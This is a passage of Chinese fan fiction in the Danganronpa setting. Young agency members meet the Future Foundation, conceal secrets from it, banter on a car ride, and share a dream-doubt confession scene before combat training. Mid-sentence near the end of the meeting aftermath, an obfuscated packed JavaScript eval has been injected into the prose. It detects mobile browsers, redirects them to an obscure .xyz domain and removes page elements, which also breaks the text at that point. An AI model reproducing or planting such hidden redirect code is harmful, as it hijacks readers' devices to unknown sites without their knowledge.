“……愿主护佑他。”上原捏着十字架说,“我认为或许还有机会……如果是我或者黑川你的话或许有机会能点醒他,但是很可惜,现在只能请求我主的坚毅与恩典与他同在。” 平良悄悄靠近波多乃,掐了掐她的手:“菖蒲大人……” “怎么了?”波多乃是少有的对平良报以亲密态度的人,她注意到她扎起了头发、带上了之前不知掉在哪里的首饰。 “……为了让我自己体会绝望,我曾将菖蒲大人制作成我的动机视频。如果菖蒲大人在游戏中死掉了,黑白熊就会为我播放它。” “……” “废话先不要说了,该送他们离开了。”铭苅扶着头,看着把平良摁进自己怀里、根本没意识到差一点平良就会被她憋死的波多乃叹息。“……你放开她吧。如月,准备好出发了吗?” 如月挥挥手:“我收拾好了。剑也准备好了,小桥川去开车了,美佳子和上原刚去收拾东西,应该很快就能出发。” “很好。” “……有时候感觉铭苅你才像是领导。”如月傻笑道,“果然是老师气太重了,哈哈。” “是你太轻浮了。”铭苅皱着眉推上眼镜,“但是现在你们是代表如月机关、代表79届学生去见希望之峰的前辈们,平时的轻浮气都给我收起来,我可不想跟着你们丢脸。听见没有,如月机关长,还有金城副机关长?” 金城理了理领带:“我不用你说,我见过的世面比你多多了。” 此时上原和黑川收拾好资料和衣装走了过来。上原特意穿了非常正式的教士黑袍,胸前的十字架闪闪发亮;黑川则换上西服裙装,高挑的个子显得整个人更加清瘦。 “美佳子,多吃点饭吧,太瘦了……” “都说了如月你给我放稳重点!!” 孩子们终究是长大了。 宗方京助扶着腰弯得直不起来的天愿和夫迎上远远开来的吉普车,黄樱公一则一如既往地在一旁喝着他的小酒。车稳稳停下,从驾驶座钻出一个高挑的小伙子,围巾在风中高高飘起。 “应该是那个飞行员。”黄樱瞥了一眼说到。 “没人问你。”老爷子拿拐杖戳了下他的脚。 “哎哟……毕竟都是我亲自挑出来的学生嘛当然要好好看看。”黄樱讪笑着,眯着眼看向副驾驶座走下的小伙:“警察,应该是金城銃的儿子。” “如月家的小子就不用你介绍了。”老爷子翻了个白眼,看向后座走出的三个孩子,“那个女孩是?” “半藏的养女,驱魔师,实际上是心理辅导师更合适……但是驱魔师更有意思不是吗?”黄樱挂着笑说着又喝了口酒,“最后那个,认得出吧?我跑意大利去捞的神父。” 五个孩子风风光光地向三人走来。天愿示意宗方不用扶着自己,一步一晃地迎过去,接住如月大和伸来的手:“天愿和夫代表未来机关欢迎各位的来访。” “您见笑了,天愿先生。”如月大大方方地回答,“能见到诸位前辈尚且平安在世,已经是我们的荣幸了。” “哈哈……”天愿伸出另一只手,拍拍如月的胳膊:“哎呀……我是你爷爷那辈的了,老爷子我能看见你爸入学又毕业已经很荣幸了,没想到还能看见你小子……来宗方,迎客。” 宗方向几人微微鞠躬:“原超高校级的学生会长,宗方京助。列位的大名,方才黄樱先生已经介绍过了。欢迎来到未来机关。” “啊,黄樱是我。”黄樱摘下帽子,不那么规矩地行礼,“原希望之峰学园侦查员,列位的才能都是我亲自到世界各地侦查得来的———上原君对我还有印象嘛?” “以主的名,”上原近次摇摇头,“没什么印象。” “哎呀……也正常。”黄樱嘻嘻一笑,“毕竟我只是去你的教堂听过几次布道罢了。” “……!!” 宗方忽视了笑眯眯的黄樱,为几人让出道路:“请各位随我来。我们召集了目前有时间到来的所有支部长,大家都很愿意与各位分享情报。” “好。”金城剑回过头,“小桥川先去把车停好,我会给你发位置,你随后到就行。” “是。” 黄樱打了个酒嗝:“诶?你们那飞行员,小桥川是吧,他咋不开飞机过来?我这儿也有停车场啊。” 金城刚想解释,黑川美佳子就拦住了他:“这是对各位前辈表示尊敬。”而后向金城使了个眼色。金城立刻会意,闭上了嘴。 “哦哦。”黄樱摆摆手。 很聪明,隐瞒着什么事不想让他们知道,虽然幼稚但很够用。 ……孩子们终究是长大了。 不要透露神座出流,不要透露平良茜和虚空。不要过于激进地发言,不要反对对方的任何意见。 “有人有异议吗?”提出这四条的金城回过头,盯着后座上的三人。 如月摇摇头:“非常合理。” “很好。” “我会保持闭嘴的。”小桥川说,“反正我一笨蛋啥也不会说……把我当支使就可以了。” “每当被质疑真实性的时候,就让上原出马。”如月补充,“想必他们也知道碍于信仰和身份上原不会轻易说谎。” “事实上,”被cue到的上原低下头,“我并没有对非教徒完全说服的自信,我认为山口同学或许比我更合适……” “山口要是不上法庭也不行嘛。”黑川笑笑,“而且上原你可有身份这一层压制着对方的信任呢。” 上原微微一笑:“那就请多包涵了。” 这是如月机关与未来机关的第一次正面交谈。如月掐着下巴想,当初绝望刚开始蔓延的时候他出于责任心带着同学们冒死离开学校,又险些被藏入其中的绝望全灭。学校对待78届学生的方式是将他们保护在学校内部,本来也想以同样的方式保护79届生,然而他们早已逃得无影无踪。现在……78届生卷入杀人游戏,反倒是79届的大家,靠着虚空的仅剩的人性和“天运”死里逃生……而后大家在绝望的世界迅速成长起来,重建了如月机关,一点一点用几乎微不足道的力量保护希望…… “领导们,我们要到了。”小桥川冲他们喊,“门口站着一个老头和两个男的,我记得好像是以前的校领导?” 如月深吸一口气,整理了一下衣领。 “准备下车了,诸位。记住我们的准则!” “原?超高校级的发明家,现任如月财阀代表、如月机关的机关长如月大和,很荣幸见到各位前辈。” 如月对着会议桌深深鞠躬,而后注意着身后的动静。 金城站直敬了个警礼:“原?超高校级的警察,如月机关副机关长,金城剑。” 支部长中有谁发出一声嗤笑:“呵?是金城啊。” 金城本人不为所动。那个声音的主人见他不回嘴,便更得意地说了下去:“真是个熟悉的名字呢,直到几个月前都还在对抗的绝望势力,想忘都难……” “安藤小姐。”金城冷静地打断她的话,“恕我失礼。家父被绝望势力控制时为您造成的困扰我非常抱歉,那之前的困扰我不宜评论。” “……”安藤流流歌咬住嘴唇,赌气地翻了个白眼。 “后面三位呢?”一个女人眨着大眼睛看着他们,“后面三位同学也来介绍一下自己吧?” 等到三人各自报完姓名,又一个抱怨的声音传来:“又是驱魔师又是神父,不知道的还以为绝望势力是什么鬼怪呢。” ……真是可恶啊,这帮人。如月默默捏紧拳头,一上来就这么带刺儿,后两条准则这不是白立了吗。 “安静点,逆藏。”宗方回头冲谁说了一句,“那么,如月……同学,接下来请你们先回答我们几个问题。” “我们会尽可能回答。”如月点点头。 说是尽可能,其实是努力应付……毕竟他们不是来上课的。 “第一个问题,”宗方示意身边的那个大眼睛女人做好记录,“可以解释一下79届学生在绝望事件后的行踪吗?我们至今都无法理解,失踪了近一年的整整一个班的学生,如何能凭空回来,几乎毫发无伤?这是很匪夷所思的,我们一直以为绝望事件中除了78届生所有在校生都死了。” 如月刚想开口,身后的上原却抢了一步:“在绝望事件发生后不久,如月机关长意外得知了绝望方的计划,并决定携带我们前去如月财阀下属的某岛屿上的如月第三研究所。在研究所中我们度过了漫长的日子,最终有一天如月告诉我们外界的绝望始终没有发现我们,于是便准备带着我们离开岛屿。然而在我们离开的时候,绝望势力却发现了岛屿,并击毁了第三研究所,其中的研究人员也全部牺牲。我们死里逃生,回到了本土。” 他在说谎。 但是上原陈述谎言的时间却给了如月思考宗方的话语的机会。漏洞非常明显,也能暴露出未来机关的几个极大的问题。 1、他们不知道79届生何时离开、何时回归,也不知道其中的内幕; 2、他们认为仅有78届生全部存活,而其他的学生都死了……其他的在校生也包括77届生。 未来机关到现在都不清楚77届生早已陷入绝望……抑或是他们正在努力对抗的正是77届生。 多亏了上原反应迅速,才把他们的经历删了些必要的内容编了出来……也是难为他了。 “月光原。”宗方看向一个坐在轮椅上的女孩,后者抬起头,摇了几下,又低了下去。 人工测谎。黑川担忧地看向如月。 “好的……下一个问题。”宗方似乎没察觉到不对劲的地方,翻着手里的资料册,“请解释一下如月机关的工作理念。” 接下来大概是简单的陈述环节,没什么好隐瞒的。黑川搓着手指,思索着宗方话语中的漏洞。 从表面上看,未来机关和他们一样,都是希望之峰的优秀学生对抗绝望势力组建的组织,但若深究起来,二者却又不尽相同。未来机关……说白了就是跟希望之峰沾边的天才们为了生存下来、顺便解决绝望的抱团取暖组织。组织中不乏宗方这样正在做实事、努力对抗绝望的有志之士,也有无条件追随他的人;但同样有安藤和她身边那男人那样的……混日子的人,留在未来机关只是为了生存下去。看似是希望的延续、未来的创造者,事实上对很多人来说,不过是保留自己“超高校级”的称号、在这个世界上得以生存的聚集地罢了。 而79届生集合的如月机关…… 是他们跨越了生死、奇迹般存活后的庇护所,明知力量微弱仍在努力积蓄希望的家。对此,黑川非常骄傲。 ……她一直为自己的朋友们骄傲着。 “最后一个问题。请问各位是否有意加入未来机关,一同对抗绝望势力?” ……看来未来机关不仅想套来如月机关的所有情报,还想将他们吞并下去,黑川迅速思考着。如月站起身,深深鞠了一躬:“并无此意。我相信在座的我的朋友们也都是这么想的。” 气氛瞬间降至冰点。未来机关的十几个支部长开始窃窃私语,天愿老爷子也默不作声。如月向身后伸手,抓住了黑川的手,然后紧紧握住。 ……他手心里全是冷汗。 “哦哦?”黄樱满不在乎地打破沉默,“如月小子,你怎么这么肯定?” 要离间了?金城回过头,刚才的发言里他们一定意识到说了话的四个人几乎就是机关的精神支柱,所以如果要找突破口,就一定会去找剩下的那个沉默的人。 “喂,飞行员小子。”黄樱站起来,走向始终默不作声的小桥川,“你看看,哎呀,绝佳的能力得在优秀的场所才有发挥的空间吧,是不是啊小子?” “很可惜,”小桥川第一次开口如此严肃,“利益诱惑不会使我动摇半分。” “不不不不想哪去了,”黄樱呵呵一笑,“我一直很欣赏你的才能,小子,你有能力救更多的人。” “就算您这么说,我也不会做出改变。”小桥川义正辞严地看向另外四人,“让我留在如月机关的,从来不是利益或者责任。” 确实很可惜,金城想,他找了一个最不可能轻易离开的人。 黄樱回过头,向宗方摊手:“赶紧把部门资料给如月先生吧,我都说了招安没辙。” 宗方面无表情地递过一个厚厚的文件夹:“这是未来机关的对抗绝望记录卷宗,由雪染小姐编纂……” 雪染。上原条件反射般竖起耳朵,而后看向会议桌上的各位。 超高校级的女仆,雪染千纱,绝望的77届生的班主任。 与原计划不同,未来机关根本不知道77届生的真实情况,本想询问雪染千纱的相关事宜如今也只能自行分析。如果能看见雪染的脸,黑川说不定有办法看穿她的内心,但是怎么找到她…… 上原转头看向黑川,她正目不转睛地盯着什么。 ……说不定是有办法了? ……不能留下他们。 宗方摁住别在大腿上的枪。 不愿意跟随未来机关,不愿意为未来机关工作、铲除绝望,又是失踪多日后突然复现…… 绝望。他们是绝望。 早就听说有整整一个班级的学生陷入绝望、协助绝望势力将世界搅成一团浑水,说不定就是他们。何况他们不是自己也承认了吗?凤超市是绝望势力的军火库,金城銃甚至就是绝望混乱的最大助力。 我得铲除这些绝望。 “在离开之前,我想说两句。”金城站起身,故作轻松地看向会议桌上的支部长们。“我们一直把各位前辈当作敬仰和效仿的对象。我们是在为了同一个目标,也就是铲除世间一切绝望而战斗,我觉得各位前辈也比我们更加清楚。所以,” 金城若无其事般地看向宗方。 “宗方先生,可以放下枪了。” “!!” 这点细小的动作如果看不出来,那还当警察干什么。 “我也想提醒各位。”上原站起身,一如既往地抱着他那本沉沉的圣经,“我虽然是宗教界的工作者……但我与各位一样,爱着这个人世。能在如此绝望的世态中活下来,已经是主赐予我们的奇迹了——我们一直是这么想的。” 支部长中传来一声冷笑:“小子,你低估了希望之峰的才能。在座的这些支部长,哪有一个不是靠着自己的才能活下来的?你们或许是走了运,我们可是在希望之峰待了好几年、学到了真正的才能的希望的象征,这可不是你那位主能送你的。” 然而出其所料,面对信仰被冒犯,上原丝毫没动怒: “那么愿主在天运中护佑您。” “好啦好啦逆藏,不要为难孩子嘛。”一直做着记录的大眼睛女人眯起眼睛笑笑,“谢谢你,上原同学,我替这位向你道个歉哦。” 如月微微一笑,同黑川一起站起来:“那,天愿先生,现在我们的目的已经达成了,就此告辞。” “哦?”老爷子从眼镜上方望去,“你们……还没问我们什么吧?” “我想我已经问出来了。”黑川看向那个大眼睛女人和她身边一言不发的宗方,露出礼貌的微笑,随后鞠了一躬:“谢谢你,宗方先生……还有雪染老师。” 直到五个孩子迅速地离开了会议室,雪染千纱睁大的眼睛才黯淡下来。宗方拉开椅子,沉默地坐了回去。 “看见了吧?”黄樱收起笑容,“我说了,绝对不要小瞧这些孩子。” “仅在语言对话中就能判断出身份。”宗方捂住嘴,“这几乎超越了月光原。那个女孩不简单。能查到身世吗?” “黑川美佳子,如月财阀的养女,”黄樱晃晃酒瓶,似乎思考着什么,“没有五岁前的记忆,顺着河流漂到郊游的如月半藏面前,并被收养,和半藏的儿子如月大和一同长大。拥有很强大的洞察力和说服力,并以此驱逐了很多人的“心魔”,成了小有名气的“驱魔师”。这个天赋……的的确确比月光原还离谱一些,毕竟月光原不怎么说话呢。” 雪染一言不发地搓着衣角。 啊。或许会被发现吧。但是呢……… 她的眼神中早就没有了光彩,唯余混沌和绝望。如果有谁肯好好地看看她的眼睛……或许还有挽救的机会。可惜如今的支部长们唯独剩下争吵和相互嘲讽的对话,根本不可能有人注意到平时就不爱总参与吵架的她。 那些孩子会做掉他们的。 天愿敲敲拐杖:“行了,到此为止。我还是那句话,我保留意见,不对如月机关作过多干涉。” “我同意。”黄樱举起手,“你们都给我听着,你们也是这么大过来的吧?我问你们,谁上学的时候好好上课了?啊?还学,你们学了些什么?啊?安藤?十六夜?” 那些孩子已经找上了他们……那个孩子会…… “你也安分点,黄樱。”天愿瞥了他一眼。“孩子们已经长大了,至少我愿意相信如月家的小子不会走歪路。” “是呢。”宗方叹着气说。 “这些孩子的的确确长大了。” ……但是孩子气仍未褪去。 “芜湖!!!还能再快点吗?太爽了!!!” 如月兴奋地把头探出窗口伸开双手:“芜湖!如月大和大获全胜!!” “呃……”上原捂着自己起飞的刘海,“那个……我不是很懂,但是我不建议您这么做,如月机关长大人……” 金城无奈地笑笑:“原型毕露了。车上有没有什么车载的好歌?放几首应应景。” “哎哟喂我的剑大老爷啊这年头咱哪能找到歌放,”开着……飙着车的小桥川哈哈大笑,围巾的末梢飘出窗外,“要不咱唱吧直接?” “好耶!我支持!”黑川第一个举起手,“大和君先唱!!” “不要!美佳子先唱!美佳子唱歌跑调!” “哎哎哎不要在后面打架!!现在速度太快了会翻车的!!” “那……要不我唱歌,你们先不要打了……” “嚯,近次要唱歌?我居然有点期待。” “你还真别说,咱俩坐前面真亏。” “我有种不好的预感……上原你不会要唱圣歌吧……” 结果是出人意料地从后座传来了悠扬婉转的意大利男高音美声歌剧。 “……我服了,真的,美佳子多学学。” “有两下子啊近次!!!就是我怎么又困了……” “开累了?累了换我来吧。” “金城!他只是听烦了而已。” “……我有点受打击,每次我想活跃气氛的时候晴彦都说困……是不是现在只有跟你聊伊良波你才能有力气啊?” “诶?!你不讲武德……” “我觉得是的。” “啊啊!!阿剑你也?!” “那现在就开始说好不好?前几天我给小五月喂了一块泡芙,她高兴地扑到我身上了哦!超级小一只,软乎乎的像个小熊……” “黑川!!!” “没事没事美佳子不用管他,咱继续。” “……我要发疯啦!!信不信我原地起飞?!” “唔啊啊啊啊啊啊啊!!!” “冷、冷静!!” “等等……十字架……飞起来了……” “美佳子酱啊!!!!” 小桥川眼睛一骨碌,想出一个妙招,边减速边得意洋洋地看着后视镜里受了吓的三人:“哎我说大和啊,你和黑川是发小对吧?” “对、对啊……” “我可得问问,你俩怎么这么长时间也没个动静,现在到底什么关系啊?” “……!!” 漂亮!!成功地闭嘴了!!连剑都在偷笑!! “我和五月认识的时间还没你俩十分之一多,嘿嘿,我可是就差哎哟我*!!!” 上原委屈地看着黑川的脚占据了自己脚原本的位置,半蹲着扯住小桥川的围巾:“你可以试试接着说下去,小·桥·川·晴·彦。” “黑川,不要干扰司机。”金城用指节敲敲她的胳膊。 “好了好了美佳子。”如月讪笑着想拉起黑川,却被她甩开了手:“不要叫我美佳子!” 上原(非常正经且严肃):“她在害羞。” “……上原近次!!!” “你别怪晴彦说,大和,”金城回过头,似笑非笑地看着脸红成苹果的如月,“你多跟人家学学,要大胆!勇敢!” “……剑啊你什么时候这么不正经了……” 金城才发现自己笑了很久了。他没想收回这个笑,而是转回身,然后哈哈大笑。 只有跟你们待在一起,我才不是警察金城剑,而是你们的朋友金城剑。 不会再为谁戳中痛点而热血激昂,不会再执着于什么正义、什么罪犯,而是为了保护朋友们、保护自己而好好活着。 正因逝去的人不会回来,活着的人才要带着希望活着。 大家都成为了可靠的人啊……上原的随机应变,黑川的洞察力,小桥川的意志,如月的领导气概……而我……再也不会掏出枪对准朋友…… 佐佐木……我是不是……稍微长大了一点呢? “大获全胜。” 铭苅欣慰地放下手中的报告,“我接下来要说的话,可能确实有点像老师什么的。但是……你们做的真的非常非常好。我们得到了未来机关的重要信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908403|176831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息,得知了他们对绝望事态和77届生的盲点;黑川也着重观察了雪染千纱,得出了她在掩饰本性的结论……” “这次真的赢麻了。”如月笑着说,“老头们对我很信任,他们很自然地接受了如月机关的建立和理念,虽然支援咱也不指望他们,但是至少短时间内不会被敌视了。” “如月大和。”铭苅站起身,“你已经是一个出色的领导了。为你工作,我备感荣幸。” “诶诶?!我以为铭苅在哪都会看不上我呢……” “……”铭苅沉默了一会,忽然微笑起来。 “我直到这时才发觉……我或许也被你们改变了什么呢。” 【你不想做一场永远也醒不来的梦吗?】 黑川美佳子有些焦虑。 不知为何,只是有些焦虑。明明一切都像预想中的一样顺利地前进着,如月机关中的79届生和招聘来的工作人员都好好地做着该做的事情,就连电视直播里的杀人游戏……一个勇敢的女孩为了保护大家自杀了,痛苦的幸存者们流着泪发誓一定要好好的一起活下去,奔向希望的未来…… 为什么会焦虑呢?黑川拍拍脑袋,这时候明明应该打起精神,接着做好自己的本职工作…… 为什么会时不时地想起第三研究所呢。 小时候如月大和经常带着她去研究所里玩闹。她清楚那里的每一处构造,清楚每一个房间里的陈设,清楚那扇门里有适合捉迷藏的隐藏地…… 后来它被改造成了“希望之峰”。 不,不要想这些。黑川拍拍脑袋,突然听见轻微的电流声。 ……?错觉吧。记忆清除装置和恢复装置都没什么副作用了。 她抱着文件走到机关长办公室门前,抬起指关节轻轻叩了几下:“大和君在吗?我来送这周的报告了哦。” “在的!请进!” 令人安心的声音。她推开门,如月正把脚翘在椅背上倒坐着椅子,倚着桌子背对着她,看着手上的什么资料。 “有点坐相吧,大和君。” “哎呀哎呀。” 如月顺手拿起手边的一盒马卡龙:“前两天照屋带回来的,现在这东西可不好找……尝尝?” “好啊。” 她强笑着接过盒子,却没打开它。莫名其妙的不安和焦虑让她有些困扰,她现在没心思吃甜食。 “……美佳子?” 他转了下椅子想要看她,却忘了调整重心,扑通一声摔在地上。 “大和君!!” 她急忙过去扶起他,嘟囔着“笨蛋”之类的抱怨。他嘿嘿地傻笑,而后盯着她:“怎么啦?怎么不开心了,谁欺负你了?” “没人欺负我……” “那好吧。” 他掐掐她的脸,把她搞得呲牙咧嘴。“我还得再看一会儿……铭苅拿她的门道给我带了不少论文,我得抓紧时间……诶怎么哭了我草?!” “嗯?”黑川抬起头,睁大眼睛,眼泪无意识地啪嗒啪嗒地掉下来。如月手忙脚乱地坐正擦掉依然挂在脸上的泪水,而后捧起她的脸:“怎么了?谁欺负你了?跟我说说啊美佳子,有什么不能跟我说的啊?” “我……” 她一时语塞。 【“……我带你去溜达溜达吧。” 那里有只属于你的绘本,能看见星星也能飞上天空,一切的一切都随你喜欢哦。】 “哎呀,我们的大驱魔师怎么没法驱赶自己的心魔呀?” 如月扯着她的手,用快活的语气说着有一搭没一搭的废话。黑川跟在他身后,身边的同学们……不,应该说同事们,经过他们的时候都会笑着打招呼。 “早啊机关长!龙太郎!打招呼!” 牧清香一如既往,快活地拉着弟弟走去了训练场。牧龙太郎抱着枪械什么的装备吃力地跟在姐姐身后,勉强向他们笑着。 “诶!牧啊!你还没……哦,早啊大和。” 比嘉光宏背着他用来当武器使的铁球走来,笑呵呵地向他们问好。最近他好像在追求牧,对方对他似乎没有什么回应……似乎。 “哟!早上好机关长!早上好啊美佳子!” 友利绊抱着的文件夹似乎被撞翻了,她正绷着脸捡起它们;事故的始作俑者波多乃菖蒲,正忙着收拾她弄糟的残局,意识到有人路过后抬起头讪笑:“早上好啊……对不起,我又弄糟了……” “啊!早啊,大和。”“机关长早!” 山口驱拉着妹妹翠,打着哈欠戴上了眼镜。现在的法律几乎不起作用,山口在尽自己所能联系被破坏的法务部门的幸存者,试着重建这个国家的法律体系——他看起来很累了。 “早上好,机关长先生,还有黑川小姐。” 祷佳奈多跟在养父安藤光后面,一大一小两个白大褂上面沾的酒精味儿意外地没那么刺鼻。已经不是每天都有大大小小的伤者出现的时候了,父女二人似乎轻松了许多。 “早安,大和,黑川。” 上原近次梳着整整齐齐的头发,抱着他厚厚的圣经向他们微笑。总感觉来到机关后上原笑的次数多了很多,是错觉吗? “哟!如月亲和美佳子亲!早上好哦!记得来我和晴彦的婚礼哦!” “喂喂都说了现在太早了!!!启介哥会揍扁我的!!!” 机关知名笨蛋情侣小桥川晴彦和伊良波五月吵吵闹闹地路过了他们,一边吵架一边黏在一起天天做着傻事,看上去像是高中生……也确实是高中生的年纪…… “哟!大和早啊!” 凤照屋不知何时不说方言了,反而让人有些不习惯。他高高兴兴地说自己好像真的长高了,似乎突破了一米五大限,加上抹了一堆发胶的头上的……角,可能一米六都有了呢。 “早上好大和,早上好黑川。” 金城端着咖啡杯子急急忙忙地走出办公室,差点撞上两人。他没穿着衬衫什么的,反而是紧身的黑衣,像是准备着去锻炼。 “哦?早,两位。” 铭苅的办公室就在金城对面,这使走廊的这部分时不时就闹出点冷战——但是情况在越来越好,她在悠闲地喝着自己的咖啡取笑手忙脚乱还没泡好咖啡的金城。 “……早上好,如月大人,黑……美佳子大人。美佳子大人要尝尝这个慕斯吗?我刚做好的。” 平良茜端着蛋糕向他们微笑,扎起的头发和身上的配饰就像是回到了很久以前。他笑着回绝,但是平良拉住了他。 “如月大人,美佳子大人在哭呢。” “诶?!怎么又……” 黑川慢慢蹲下来,睁大眼睛看着泪掉在地上,然后捂住脑袋。 为什么会哭,明明没什么悲伤,为什么在哭? 为什么会焦虑?为什么会突然哭起来?为什么? “我不打扰您了。”平良鞠躬退后,如月蹲下来,不知所措地看着她。 黑川捂住脸。她一直有着摸索人心的天赋,如今她看到了自己的恐惧。于是她抓住如月的手,扑到他身上。 【你能在天空中自由翱翔吗?你和爱的人在一起了吗?你身体怎么样了呢?这些都是梦里限定的哦。】 “我好怕这是一场梦……” “梦?!” 如月拍着她因抽噎起伏的后背,试着安抚下来,她却哭得越发凶了起来。 “大和君……大家真的都活着吗……我们真的都活着吗……我总感觉这一切……好不真实……” 为什么大家会以那样的姿态、那样的次序走过他们,为什么这么不真实,为什么会怀疑。 不对呀……这不应该是黑川美佳子的想法……坚信着希望定会打败绝望的黑川美佳子,怎么可能会怀疑这一切? 我们不是从绝望中死里逃生了吗,我们不是活下来了吗,我们不是发誓要为世界带来希望吗。 “……可是……” 为什么亲爱的人就在面前,却惊恐地想紧紧抱住他,一丝一毫不肯放手? “为什么……我会害怕……” 我在……做梦吗? “如果这一切都是虚假的……如果我在做梦……那可怎么办……” “别怕,美佳子,别害怕……” 如月紧紧抱住她,努力思考着言语。如果此刻是某个朋友突然崩溃下来他会游刃有余地应对过去,用他的乐观、用他的积极激励所有人……唯独美佳子,离他最亲近的人,却无法做到…… 这绝对不可以。 “美佳子,跟我来。” 他拉起她的手,走进本就想前来的会客厅。这里是接待一些大人物的场合,也是大家平时休息时最爱来散心的地方,这么早应该是没人会来的。 所以如月下定了一个决心。 【……你…… 想知道梦的后续吗?】 “请和我跳舞吧,美佳子!” 他滑步退开几步,拉着她的手却没松开,红着脸单膝跪下,作出邀请舞伴(你最好是)的姿势。被吓了一大跳的黑川“诶”了一声,而后苦笑: “……国中的时候我们是一起学的跳舞吧。” “所以现在才要一起跳啊,”如月顾不得发烫的耳根,继续说到,“请和我跳舞吧,美佳子小姐!” “……” 又在搞什么名堂。 但是她歪了歪头,挂着泪哑然一笑:“好啊,大和君。” 那么就翻开独属于你的绘本吧。 “虽然生疏了很多但那也是没法避免的嘛,都多久没参加舞会了。” “你又踩到我的脚了。” “啊!!对不起美佳子大人!!请原谅我吧!!” “我没说怪你嘛。” “话说回来……照屋刚才说他长高了……我也觉得我长高了一点呢,好像和美佳子差不多高了?” 而后你就会知道,这里就是你的现实。 “美佳子。” “嗯?” “你是……五岁的时候,被河水冲到了我爸的露营地旁,对吧?” “是呢。半藏叔叔收养了无家可归的我,也是为了锤炼你的坏性子。” “哈哈……我那时候像个小混混一样,多亏了美佳子才走上正道……” “你还说呢。半藏叔叔没少为你操心……” “那时候妈妈刚去世,爸爸又要担心我,又要照顾你,又要为妈妈操办事宜……我小时候的的确确是个小混蛋呢。” “现在大和君也是混蛋。” “哎呀……那之后……我们一起生活了有十几年吧?从来没分开过……” “什么时候学会煽情了……这不是我上学的时候挂在嘴边的话吗。” “我这不是在安慰你嘛!” “……” “我的大驱魔师也有解决不了的问题呢……你给多少人做了心理咨询,连平良都救回来了,却被区区梦境打倒……我的小笨蛋,我的傻妹妹,我的美佳子啊……” “……” “看,又哭了……我来告诉你这个世界是不是梦境。” 说罢,他闭上眼,拉远她的手,而后抚上她的后脑,轻轻吻上去。 她睁大眼睛。 那是丝毫不带侵占的、平静的一吻,只是颤抖着死死压在上面,连带着双手一起颤抖,脸上因羞涩和紧张红出的热气扑面而来。他真的长高了一点点,她无端想到,之前她要稍微高一点来着,至少能看见他头顶;隔着衣服能感到紧贴着的身体,是不是被金城练出腹肌了啊…… 而后他抬起头,又紧紧抱住她,像是要嵌到自己身体里一样。 “我一直都爱着你,美佳子,这绝对不是虚假的梦。” “……诶?” 她知道他紧张得浑身发抖,她自己则脑子一片空白。梦也好、焦虑也好、悲伤也好、迷惑也好通通被这一吻压到抹消,甚至十几秒后才意识到他刚才说了什么。 “……诶诶诶诶诶?!?!” 她用力推开他的双肩,才发现自己耳朵红得发烫;被推开的如月也瞪着眼睛看着她,而后咬住下唇,随即再次嚎出来: “黑川美佳子!!我喜欢你很久很久了!!我一直最喜欢你了!!!我一直特别特别特别爱你!!我爱你美佳子!!!” “不要说了啊!!!” 她捂住脸撞到他身上,满意地感受到他伸开手抱住了她。 ……真是有效的“驱魔”……脑子里什么也装不下了…… “我……我……” 她终于没能再忍住,眼泪再次决堤。 唯有在他面前她才会展示出自己脆弱的一面,她的所有疲惫和不安都会被他消解。那也是因为,因为…… “我……我也一直喜欢着大和君啊……” 你想知道梦的后续吗? 为什么不想知道梦的后续呢? 因为你已经爱上了你的世界, 这里正是你渴望的世界。 希望你一直……爱着这个世界啊…… “听清楚了?” “绝对听清楚了。” “出人意料但意料之中。” “毫不意外。” “甚至有点奇怪为什么这么晚。” “我得给他们证婚……” “卧槽他要开门了……” 如月拉开门,几个失去重心的偷听者“哎哟哎哟”地哗啦啦倒在了地上。 ……是男生们…… “晴彦和光宏还有照屋我还能理解……”如月捏起拳头,“近次是怎么回事?驱是怎么回事?龙太郎又是怎么回事?以及……阿剑,你又是怎么回事?!” 金城面不改色地第一个站起来:“担心机关长大人的安全而已。”然后挺直腰板,向看傻了的黑川敬了个警礼:“嫂子好。” “……?” 地上的几个人愣了一下,随即争先恐后喊起来:“嫂子好!!”“机关长夫人好!”然后连滚带爬地贱笑着跑开;上原在离开之前拎起十字架:“什么时候结婚?我可以……”话还没说完就被山口拖走了。 “所以……”金城笑着指指黑川,又指指如月,“什么时候结婚?我可以当伴郎。” “……你也被带坏了!!!真剑啊你!!” 5. 重燃希望篇 “第一个目标很简单:打中我,或者不被我打中。” 这是被教会了格斗术基本架势之后的第一项考核内容,教官金城剑背起胳膊,站得像个木桩。 男生们面面相觑:“呃……你确定连双手都不用?” “我有腿。” “……不是这个意思……”山口驱挠着脸讪笑,“你真的能保证自己的安全吗?一旦打中了怎么办?” 金城挑起眉:“至少现在你们一定打不中我。” “喂喂好狂啊你!”比嘉光宏第一个撸起袖子走上前,摆好架势:“那……那我要打了!” “尽全力来。”金城巍然不动。 比嘉运好力,虚晃一拳后抬脚踢起;金城浅浅侧身躲避,抬腿在他背上斜踹一脚,比嘉应声摔在地上。 “腿部力量很强大。”金城重新站好,“平衡性很强——仅限下半身。” “呜哦!那下一个我来!”山口·法庭版出场,试图用身高优势将看似瘦小的金城拎起来;后者向后仰去躲开双手的钳制,伸腿踢向山口的腋窝,趁其吃痛立刻侧踹一脚。 “敏捷度太差,抗打击性弱。” 上原闭着眼嘟念了些什么,径直走上前:“我来了,剑。” 第一拳和第二拳都被轻松躲开,上原及时侧身躲过了金城的踢击,准备顺势用手肘打他的肩部;金城见势不妙连忙躲向另一侧,正好被迅速转身的上原一拳砸到另一侧的肩上。 “近次合格。”金城扭扭肩膀,被打的还是有点痛,“看不出来……还是很有一套的。” “多谢。”上原抱起圣经又开始嘟念,估计是在解罪罢。 “下一个……下一个呢?” 如月无奈地走出来:“那我试试。” 第一拳就被躲过,而后膝盖顶到了肚子:“完全不行,你是不是没怎么训练啊?” “……阿剑,你知道的,我平时总是很忙……” “学格斗的提议又不是我出的。” “呜呜……下次可以轻点吗,感觉早饭要翻出来了……” 牧龙太郎咽了口唾沫:“剑哥!我来吧。” 不出所料这小子三两下就被掀翻在地:“偷懒了吧龙太郎?明天开始早上加跑五圈。还有谁?” 